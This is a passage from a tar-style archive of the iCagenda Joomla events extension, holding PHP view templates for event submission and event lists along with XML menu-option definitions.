	JHtml::script( 'com_icagenda/icdates.js', false, true );
	JHtml::script( 'com_icagenda/jquery.tipTip.js', false, true );
	JHtml::script( 'com_icagenda/icagenda.js', false, true );
	JHtml::script( 'com_icagenda/icform.js', false, true );

	$iCtip	 = array();
	$iCtip[] = '	jQuery(document).ready(function(){';
	$iCtip[] = '		jQuery(".iCFormTip").tipTip({maxWidth: "280px", defaultPosition: "right", edgeOffset: 5});';
	$iCtip[] = '	});';

	// Add the script to the document head.
	JFactory::getDocument()->addScriptDeclaration(implode("\n", $iCtip));
}
com_icagenda/views/submit/tmpl/default.xml000060400000023007152453734450014731 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_ICAGENDA_SUBMIT_VIEW_DEFAULT_TITLE">
		<message>COM_ICAGENDA_SUBMIT_VIEW_DEFAULT_DESC</message>
	</layout>

	<fields id="params" name="params" type="fields" label="params" addfieldpath="/administrator/components/com_icagenda/models/fields">

		<fieldset name="ICAGENDA" label="COM_ICAGENDA_MENU_OPTIONS" addfieldpath="/administrator/components/com_icagenda/assets/elements">

			<field type="Title" label="COM_ICAGENDA_LOGO" class="styleblanck" />

			<field
				name="template"
				type="modal_template"
				label="COM_ICAGENDA_LBL_TEMPLATE"
				description="COM_ICAGENDA_DESC_TEMPLATE"
				size="40"
				class="inputbox"
				default="default"
			/>

			<field name="Title2" type="TitleImg" label="COM_ICAGENDA_FORM_LABEL"
				class="stylebox lead input-xxlarge" icimage="iconicagenda16.png"/>

			<field
				name="orderby_catlist"
				type="list"
				label="COM_ICAGENDA_CATEGORY_ORDER_LABEL"
				description="COM_ICAGENDA_CATEGORY_SELECT_LIST_ORDER_DESC"
				default="alpha"
				>
				<option
					value="none">JGLOBAL_NO_ORDER</option>
				<option
					value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option
					value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option
					value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>
			<field
				name="default_catlist"
				type="modal_cat"
				label="COM_ICAGENDA_CATEGORY_SELECT_LIST_DEFAULT_LABEL"
				description="COM_ICAGENDA_CATEGORY_SELECT_LIST_DEFAULT_DESC"
				class="inputbox"
				/>
			<field
				name="submit_imageDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_imageMaxSize"
				type="text"
				label="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_MAX_SIZE_LABEL"
				description="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_MAX_SIZE_MENU_DESC"
				class="inputbox input-mini"
				default=""
				/>
			<field
				name="submit_periodDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_PERIOD_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_PERIOD_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_weekdaysDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_WEEKDAYS_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_WEEKDAYS_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_datesDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_DATES_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_DATES_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_displaytimeDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_DISPLAYTIME_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_DISPLAYTIME_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_shortdescDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_SHORTDESC_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_SHORTDESC_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_descDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_DESCRIPTION_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_DESCRIPTION_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_metadescDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_METADESCRIPTION_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_METADESCRIPTION_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_venueDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_VENUE_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_VENUE_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_emailDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_EMAIL_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_EMAIL_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_phoneDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_PHONE_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_PHONE_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_websiteDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_WEBSITE_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_WEBSITE_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_customfieldsDisplay"
				type="radio"
				label="COM_ICAGENDA_CUSTOMFIELDS"
				description="COM_ICAGENDA_SUBMIT_CUSTOMFIELDS_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_fileDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_ATTACHMENT_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_ATTACHMENT_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_gmapDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_GMAP_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_GMAP_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="submit_regoptionsDisplay"
				type="radio"
				label="COM_ICAGENDA_SUBMIT_REGISTRATION_OPTIONS_DISPLAY_LABEL"
				description="COM_ICAGENDA_SUBMIT_REGISTRATION_OPTIONS_DISPLAY_DESC"
				class="btn-group"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<!--field
				name="submit_captcha"
				type="plugins"
				folder="captcha"
				default=""
				label="COM_ICAGENDA_CAPTCHA_LABEL"
				description="COM_ICAGENDA_MENU_SUBMIT_CAPTCHA_DESC"
				filter="cmd" >
				<option
					value="">JGLOBAL_USE_GLOBAL</option>
				<option
					value="0">COM_ICAGENDA_NONE_SELECTED</option>
			</field-->
			<field
				name="submit_captcha"
				type="radio"
				label="COM_ICAGENDA_CAPTCHA"
				description="COM_ICAGENDA_SUBMIT_CAPTCHA_DESC"
				class="btn-group"
				labelclass="control-label"
				default=""
				>
				<option
					value="">JGLOBAL_USE_GLOBAL</option>
				<option
					value="0">JHIDE</option>
				<option
					value="1">JSHOW</option>
			</field>
			<field
				name="submitReturn"
				type="modal_iclink_type"
				label="COM_ICAGENDA_SUBMIT_RETURN_LBL"
				description="COM_ICAGENDA_SUBMIT_RETURN_DESC"
				labelclass="control-label"
				default=""
				/>
			<field
				name="submitReturn_Article"
				type="modal_iclink_article"
				label=" "
				class="inputbox"
				/>
			<field
				name="submitReturn_Url"
				type="modal_iclink_url"
				label=" "
				class="inputbox"
				hint="http://www.example.com"
				/>

			<!--field type="TitleImg" label="COM_ICAGENDA_DATE_FORMAT_NOTE1"
				class="stylenote alert alert-info input-xxlarge" icimage="info.png"
			/-->
			<field type="Title" label="COM_ICAGENDA_SHORT_DESCRIPTION_LBL" class="stylesub" />
			<field
				name="char_limit_short_description"
				type="text"
				label="COM_ICAGENDA_LBL_LIMIT"
				description="COM_ICAGENDA_SHORT_DESCRIPTION_LIMIT_DESC"
				class="inputbox input-mini"
				size="5"
				/>
			<field type="Title" label="COM_ICAGENDA_META_DESCRIPTION_LBL" class="stylesub" />
			<field
				name="char_limit_meta_description"
				type="text"
				label="COM_ICAGENDA_LBL_LIMIT"
				description="COM_ICAGENDA_META_DESCRIPTION_LIMIT_DESC"
				class="inputbox input-mini"
				size="5"
				/>

			<field type="Title" label="COM_ICAGENDA_FOOTER" class="styleblanck input-xxlarge" />
		</fieldset>
	</fields>

</metadata>
com_icagenda/views/submit/tmpl/send.php000060400000006713152453734450014232 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.10 2015-08-25
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Get the site name
$sitename = JFactory::getApplication()->getCfg('sitename');

// Get Component Global Options
$iCparams = JComponentHelper::getParams('com_icagenda');

// Get Authorized user groups (approval managers)
$approvalGroups = $iCparams->get('approvalGroups', array("8"));

// Get User
$user = JFactory::getUser();
$u_id = $user->get('id');

// Control: if Manager
jimport( 'joomla.access.access' );
$adminUsersArray = array();

foreach ($approvalGroups AS $ag)
{
	$adminUsers = JAccess::getUsersByGroup($ag, False);
	$adminUsersArray = array_merge($adminUsersArray, $adminUsers);
}

$isManager = in_array($u_id, $adminUsersArray) ? true : false;

//$urllink = JURI::getInstance()->toString();
//$urllink = preg_replace('/&view=[^&]*/', '', $urllink);
//$urlNewEvent = preg_replace('/&layout=[^&]*/', '', $urllink);
$urlNewEvent = str_replace('&amp;', '&', JRoute::_('index.php?option=com_icagenda&view=submit'));

// clear the data so we don't process it again
$session = JFactory::getSession();
$session->clear('ic_submit');
$session->clear('custom_fields');
$session->clear('ic_submit_dates');
$session->clear('ic_submit_catid');
$session->clear('ic_submit_shortdesc');
$session->clear('ic_submit_metadesc');
$session->clear('ic_submit_city');
$session->clear('ic_submit_country');
$session->clear('ic_submit_lat');
$session->clear('ic_submit_lat');
$session->clear('ic_submit_address');
$session->clear('ic_submit_tos');
$session->clear('email2');
?>

<div id="icagenda" class="ic-send<?php echo $this->pageclass_sfx; ?>">
<?php if ( ! $isManager) : ?>
	<div><?php echo JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_EDITOR_REVIEW' ); ?></div>
	<div><?php echo JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_CONFIRMATION_EMAIL' ); ?></div>
	<div><?php echo JText::sprintf( 'COM_ICAGENDA_EVENT_SUBMISSION_THANK_YOU', $sitename ); ?></div>
<?php endif; ?>
	<br />
	<div>
		<a href="index.php" class="btn btn-small btn-info button">
		<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
			<i class="icon-home icon-white"></i>&nbsp;<?php echo JTEXT::_('JERROR_LAYOUT_HOME_PAGE'); ?>
		<?php else : ?>
			<span style="color:#FFF"><?php echo JTEXT::_('JERROR_LAYOUT_HOME_PAGE'); ?></span>
		<?php endif; ?>
		</a>
		&nbsp;
		<a href="<?php echo JRoute::_($urlNewEvent); ?>" class="btn btn-small btn-success button">
		<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
			<i class="icon-plus icon-white"></i>&nbsp;<?php echo JTEXT::_('COM_ICAGENDA_EVENT_SUBMISSION_SUBMIT_NEW_EVENT'); ?>
		<?php else : ?>
			<span style="color:#FFF"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_SUBMISSION_SUBMIT_NEW_EVENT'); ?></span>
		<?php endif; ?>
		</a>
	</div>
	<br />
</div>
<?php
if (version_compare(JVERSION, '3.0', 'lt'))
{
	JHtml::_('stylesheet', 'icagenda-front.j25.css', 'components/com_icagenda/add/css/');
}
com_icagenda/views/submit/tmpl/index.html000060400000000054152453734450014555 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/views/list/tmpl/default.php000060400000016365152453734450014401 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.7 2015-07-13
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

// Get Application
$app		= JFactory::getApplication();
$document	= JFactory::getDocument();

$icsetvar			= 'components/com_icagenda/add/elements/icsetvar.php';
$someObjectArr		= (array)$this->data->items;
$control			= !empty($someObjectArr) ? true : false;
$getpage			= JRequest::getVar('page', 1);
$number_per_page	= $this->number;
$all_dates_with_id	= $this->getAllDates;
$count_all			= count($all_dates_with_id);

// Header
?>
<div id="icagenda" class="ic-list-view<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading', 1)) : ?>
	<h1 class="componentheading">
	<?php echo $this->escape($this->params->get('page_heading')); ?>
	</h1>
	<?php endif; ?>

	<?php
	$tpl_template_events	= JPATH_SITE . '/components/com_icagenda/themes/packs/'.$this->template.'/'.$this->template.'_events.php';
	$tpl_template_list		= JPATH_SITE . '/components/com_icagenda/themes/packs/'.$this->template.'/'.$this->template.'_list.php';
	$tpl_default_events		= JPATH_SITE . '/components/com_icagenda/themes/packs/'.$this->template.'/'.$this->template.'_events.php';
	$tpl_component_css		= JPATH_SITE . '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component.css';

	// Setting component css file to load
	if ( file_exists($tpl_component_css) )
	{
		$css_component	= '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component.css';
		$css_com_rtl	= '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component-rtl.css';
	}
	else
	{
		$css_component	= '/components/com_icagenda/themes/packs/default/css/default_component.css';
		$css_com_rtl	= '/components/com_icagenda/themes/packs/default/css/default_component-rtl.css';
	}

	// New file to display all dates for each events
	if ( file_exists($tpl_template_events) )
	{
		$tpl_events		= $tpl_template_events;
	}
	elseif ( (!$this->template || $this->template != 'default')
		&& file_exists($tpl_template_list)
		&& $this->dates_display == 1 )
	{
		$msg = 'iCagenda ' . JText::_('PHPMAILER_FILE_ACCESS') . ' <strong>' . $this->template . '_events.php</strong>';
		$app->enqueueMessage($msg, 'warning');
		$tpl_events		= JPATH_SITE . '/components/com_icagenda/themes/packs/default/default_events.php';
		$css_component	= '/components/com_icagenda/themes/packs/default/css/default_component.css';
	}
	elseif ( (!$this->template || $this->template != 'default')
		&& $this->dates_display != 1 )
	{
		$tpl_events		= $tpl_template_events;
	}
	else
	{
		$msg = 'iCagenda ' . JText::_('PHPMAILER_FILE_OPEN') . ' <strong>' . $this->template . '_events.php</strong>';
		$app->enqueueMessage($msg, 'warning');

		return false;
	}

	// If theme pack is not having YOUR_THEME_events.php file, loading YOUR_THEME_list.php file to display list of events
	if ( file_exists($tpl_template_list)
		&& !file_exists($tpl_template_events) )
	{
		$tpl_list		= $tpl_template_list;
	}
	else
	{
		$tpl_list		= JPATH_SITE . '/components/com_icagenda/themes/packs/default/default_events.php';
	}

	// Add the media specific CSS to the document
	JLoader::register('iCagendaMediaCss', JPATH_ROOT . '/components/com_icagenda/helpers/media_css.class.php');
	iCagendaMediaCss::addMediaCss($this->template, 'component');

	// Start Header
	echo '<div class="ic-clearfix">';

	// Header - Title / Subtitle
	if ($this->params->get('headerList', 1) != '4')
	{
//		echo iCModeliChelper::iCheader($count_all, $getpage, $this->arrowtext, $number_per_page, $this->pagination);
		echo iCModeliChelper::iCheader($count_all, $this->arrowtext, $number_per_page, $this->pagination);
	}

	// Header - Categories Information
	echo $this->loadTemplate('categories');

	// End Header
	echo '</div>';
	?>

	<form id="icagenda-list" name="iclist" action="<?php echo JRoute::_('index.php?option=com_icagenda&view=list'); ?>" method="post">

	<?php //echo $this->loadTemplate('filters'); ?>

	<?php
	// Header - Pagination
	if ( in_array($this->navposition, array('0', '2')) )
	{
//		echo iCModeliChelper::pagination($count_all, $getpage, $this->arrowtext, $number_per_page, $this->pagination);
		echo iCModeliChelper::pagination($count_all, $this->arrowtext, $number_per_page, $this->pagination);
	}

	$mainframe = JFactory::getApplication();
	$isSef = $mainframe->getCfg( 'sef' );

	// To be checked
	$EVENT_NEXT = (isset($EVENT_NEXT)) ? $EVENT_NEXT : false;

	if ($control)
	{
		if (file_exists($tpl_events)
			&& count($all_dates_with_id) > 0
			)
		{
			echo "<!-- " . $this->template . " -->";

			// Set number of events to be displayed per page
			$index = $number_per_page * ($getpage - 1);
			$recordsToBeDisplayed = array_slice($all_dates_with_id, $index, $number_per_page, true);

			// Do for each dates to be displayed on this list of events, depending of menu and/or global options
			for ($i = 0; $i < count($all_dates_with_id); $i++)
			{
				// Get id and date for each date to be displayed
				$evt_date_id		= $all_dates_with_id[$i];
				$ex_alldates_array	= explode('_', $evt_date_id);
				$evt				= $ex_alldates_array['0'];
				$evt_id				= $ex_alldates_array['1'];

				if (in_array($evt_date_id, $recordsToBeDisplayed))
				{
					foreach ($this->data->items as $item)
					{
						if ($evt_id == $item->id)
						{
							// Load Events List/Event Details common Data variables
							require $icsetvar;

							// Load Template to display Event
							require $tpl_events;
						}
					}
				}
			}
		}
		// Only for Theme Packs not updated
		else
		{
			$stamp->items = $this->data->items;

			require $tpl_list;
		}

		// List Bottom
		echo '<div>';

		if (file_exists($tpl_events))
		{
			// AddThis buttons
			if ($this->atlist && isset($item->share))
			{
				echo '<div class="share">' . $item->share . '</div><div style="clear:both"></div>';
			}
		}

		// List Bottom - Navigation & pagination
		if ( $this->navposition == '1' || $this->navposition == '2' )
		{
//			echo iCModeliChelper::pagination($count_all, $getpage, $this->arrowtext, $number_per_page, $this->pagination);
			echo iCModeliChelper::pagination($count_all, $this->arrowtext, $number_per_page, $this->pagination);
		}

		echo '</div>';
		echo '<div style="clear:both">&nbsp;</div>';
	}

	$this->dispatcher->trigger('onListAfterDisplay', array('com_icagenda.list', &$this->data->items, &$this->params));
	?>
	</form>
</div>

<?php
// Theme pack component css
$document->addStyleSheet( JURI::base( true ) . $css_component );

// RTL css if site language is RTL
$lang = JFactory::getLanguage();

if ( $lang->isRTL()
	&& file_exists( JPATH_SITE . $css_com_rtl) )
{
	$document->addStyleSheet( JURI::base( true ) . $css_com_rtl );
}
com_icagenda/views/list/tmpl/default.xml000060400000016045152453734450014405 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_ICAGENDA_LIST_VIEW_DEFAULT_TITLE">
		<message>COM_ICAGENDA_LIST_VIEW_DEFAULT_DESC</message>
	</layout>

	<fields id="params" name="params" type="fields" label="params" addfieldpath="/administrator/components/com_icagenda/models/fields">

		<fieldset name="ICAGENDA" label="COM_ICAGENDA_MENU_OPTIONS" addfieldpath="/administrator/components/com_icagenda/assets/elements">

			<field type="Title" label="COM_ICAGENDA_LOGO" class="styleblanck" />
			<field
					name="template"
					type="modal_template"
					label="COM_ICAGENDA_THEME_PACK_LBL"
					description="COM_ICAGENDA_THEME_PACK_DESC"
					size="40"
					class="inputbox"
					default="default"
			/>

			<field type="Title" label="COM_MENUS_FILTER_FIELDSET_LABEL"  class="stylebox lead input-xxlarge"/>
			<field
					name="mcatid"
					type="modal_multicat"
					class="inputbox"
					multiple="multiple"
					default="0"
					label="COM_ICAGENDA_LBL_CATEGORY"
					description="COM_ICAGENDA_DESC_CATEGORY"
			/>
			<field
					name="time"
					type="list"
					class="inputbox"
					label="COM_ICAGENDA_TIME_LBL"
					description="COM_ICAGENDA_TIME_DESC"
					default="">
						<option value="">JGLOBAL_USE_GLOBAL</option>
						<option value="2">COM_ICAGENDA_OPTION_PAST_EVENTS</option>
						<option value="4">COM_ICAGENDA_OPTION_CURRENT_EVENTS_TODAY_EVENTS</option>
						<option value="1">COM_ICAGENDA_OPTION_CURRENT_EVENTS_TODAY_AND_UPCOMING_EVENTS</option>
						<option value="3">COM_ICAGENDA_OPTION_UPCOMING_EVENTS</option>
						<option value="0">COM_ICAGENDA_OPTION_ALL_EVENTS</option>
			</field>
			<field
					name="orderby"
					type="list"
					label="COM_ICAGENDA_LBL_DATE"
					description="COM_ICAGENDA_DESC_DATE"
					default="">
						<option value="">JGLOBAL_USE_GLOBAL</option>
						<option value="1">COM_ICAGENDA_DATE_DESC</option>
						<option value="2">COM_ICAGENDA_DATE_ASC</option>
			</field>
			<field
					name="datesDisplay"
					type="radio"
					label="COM_ICAGENDA_LIST_TYPE_LBL"
					description="COM_ICAGENDA_LIST_TYPE_DESC"
					class="btn-group"
					labelclass="control-label"
					onchange="icalert()"
					default="">
						<option value="">JGLOBAL_USE_GLOBAL</option>
						<option value="1">JYES</option>
						<option value="2">JNO</option>
						<!--option value="1">COM_ICAGENDA_LIST_ALL_DATES</option>
						<option value="2">COM_ICAGENDA_LIST_ALL_EVENTS</option-->
			</field>
			<field
					name="eventsfile_error"
					type="modal_icalert_msg"
					label="COM_ICAGENDA_THEME_PACKS_COMPATIBILITY"
					description="COM_ICAGENDA_ALERT_EVENTS_FILE_MISSING_DESC"
			/>
			<field
					name="features_filter"
					type="sql"
					query="SELECT id AS value, title AS features_filter FROM #__icagenda_feature WHERE state=1 AND show_filter=1 ORDER BY features_filter"
					multiple="true"
					class="inputbox"
					label="COM_ICAGENDA_FORM_LBL_EVENT_FEATURES"
					description="COM_ICAGENDA_FORM_DESC_EVENT_FEATURES_FILTER"
			/>
			<field
					name="features_incl_excl"
					type="radio"
					label="COM_ICAGENDA_MENU_EVENT_FEATURES_INCLUDE_EXCLUDE_LBL"
					description="COM_ICAGENDA_MENU_EVENT_FEATURES_INCLUDE_EXCLUDE_DESC"
					default="1"
					class="btn-group">
						<option value="1">COM_ICAGENDA_MENU_EVENT_FEATURES_INCLUDE</option>
						<option value="0">COM_ICAGENDA_MENU_EVENT_FEATURES_EXCLUDE</option>
			</field>
			<field
					name="features_any_all"
					type="radio"
					label="COM_ICAGENDA_MENU_EVENT_FEATURES_ALL_OR_ANY_LBL"
					description="COM_ICAGENDA_MENU_EVENT_FEATURES_ALL_OR_ANY_DESC"
					default="1"
					class="btn-group">
						<option value="1">COM_ICAGENDA_MENU_EVENT_FEATURES_ANY_ONE_FEATURE</option>
						<option value="2">COM_ICAGENDA_MENU_EVENT_FEATURES_ALL_FEATURES_REQUIRED</option>
			</field>

			<field type="Title" label=" " class="stylenote" />
			<field type="Title" label="COM_MENUS_VIEW_FIELDSET_LABEL"  class="stylebox lead input-xxlarge"/>

			<field
					name="displayCatDesc_menu"
					type="modal_icmulti_opt"
					default=""
					label="COM_ICAGENDA_DISPLAY_CATINFOS_LABEL"
					description="COM_ICAGENDA_DISPLAY_CATINFOS_DESC"
					labelclass="control-label"
			/>
			<field
					name="displayCatDesc_checkbox"
					type="modal_icmulti_checkbox"
					class="checkbox"
					label=" "
					labelclass="control-label"
			/>
			<field
					name="number"
					type="text"
					label="COM_ICAGENDA_LBL_NUMERO"
					description="COM_ICAGENDA_DESC_NUMERO"
					size="5"
					class="inputbox"
					default="5"
			/>

			<field type="Title" label="COM_ICAGENDA_LBL_FORMAT" class="styleblanck" />
			<field
					name="format"
					type="iclist_globalization"
					class="inputbox"
					default=""
					label="COM_ICAGENDA_LBL_FORMAT"
					description="COM_ICAGENDA_LBL_FORMAT"
			/>
			<field
					name="date_separator"
					type="text"
					label="COM_ICAGENDA_LBL_DATE_SEPARATOR"
					description="COM_ICAGENDA_DESC_DATE_COMPONENTS_SEPARATOR"
					size="5"
					class="inputbox"
					default=""
			/>
			<field type="TitleImg" label="COM_ICAGENDA_DATE_FORMAT_NOTE1"
				class="stylenote alert alert-info input-xxlarge" icimage="info.png"
			/>
			<field type="TitleImg" label="COM_ICAGENDA_DATE_FORMAT_NOTE2"
				class="stylenotep alert alert-block input-xxlarge" icimage="blanck.png"
			/>

			<field type="Title" label="IC_AUTO_INTROTEXT" class="styleblanck" />
			<field
					name="limitGlobal"
					type="radio"
					label="COM_ICAGENDA_LBL_LIMIT"
					description="COM_ICAGENDA_DESC_LIMIT"
					default="1"
					class="btn-group">
						<option value="1">JGLOBAL_USE_GLOBAL</option>
						<option value="0">COM_ICAGENDA_LBL_CUSTOM_VALUE</option>
			</field>
			<field
					name="limit"
					type="text"
					label="COM_ICAGENDA_LBL_CUSTOM_VALUE"
					description="COM_ICAGENDA_DESC_CUSTOM_VALUE"
					size="5"
					class="inputbox input-mini"
					default=""
			/>

			<field type="Title" label=" " class="stylenote" />
			<field type="Title" label="COM_ICAGENDA_LEGEND_GOOGLE_MAPS" class="styleblanck" />
			<field
					name="m_width"
					type="text"
					label="COM_ICAGENDA_LBL_MWIDTH"
					description="COM_ICAGENDA_DESC_MWIDTH"
					size="5"
					class="inputbox"
					default="100%"
			/>
			<field
					name="m_height"
					type="text"
					label="COM_ICAGENDA_LBL_MHEIGHT"
					description="COM_ICAGENDA_DESC_MHEIGHT"
					size="5"
					class="inputbox"
					default="300px"
			/>
    		<field type="Title" label="COM_ICAGENDA_FOOTER" class="styleblanck input-xxlarge" />
		</fieldset>
		<!--fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">

			<field name="show_feed_link" type="list"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
			>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field name="feed_summary" type="list"
				description="JGLOBAL_FEED_SUMMARY_DESC"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
			>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset-->
	</fields>

</metadata>
com_icagenda/views/list/tmpl/default_categories.php000060400000003755152453734450016605 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version		3.5.4 2015-04-21
 * @since       3.4.1
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

$catid_array = array();
$catinfos_array = array();

if ($this->data->items && $this->cat_description && count($this->getAllDates) > 0)
{
	foreach ($this->data->items AS $cat)
	{
		$cat_id		= $cat->cat_id;
		$cat_title	= $cat->cat_title;
		$cat_color	= $cat->cat_color;

		if ($cat->cat_desc)
		{
			$cat_desc = $cat->cat_desc;
		}
		else
		{
			$cat_desc = ' ';
		}

		$fontColor = $cat->fontColor;

		array_push($catid_array, $cat_id);

		$array				= array($cat_title, $cat_color, $cat_desc, $fontColor);
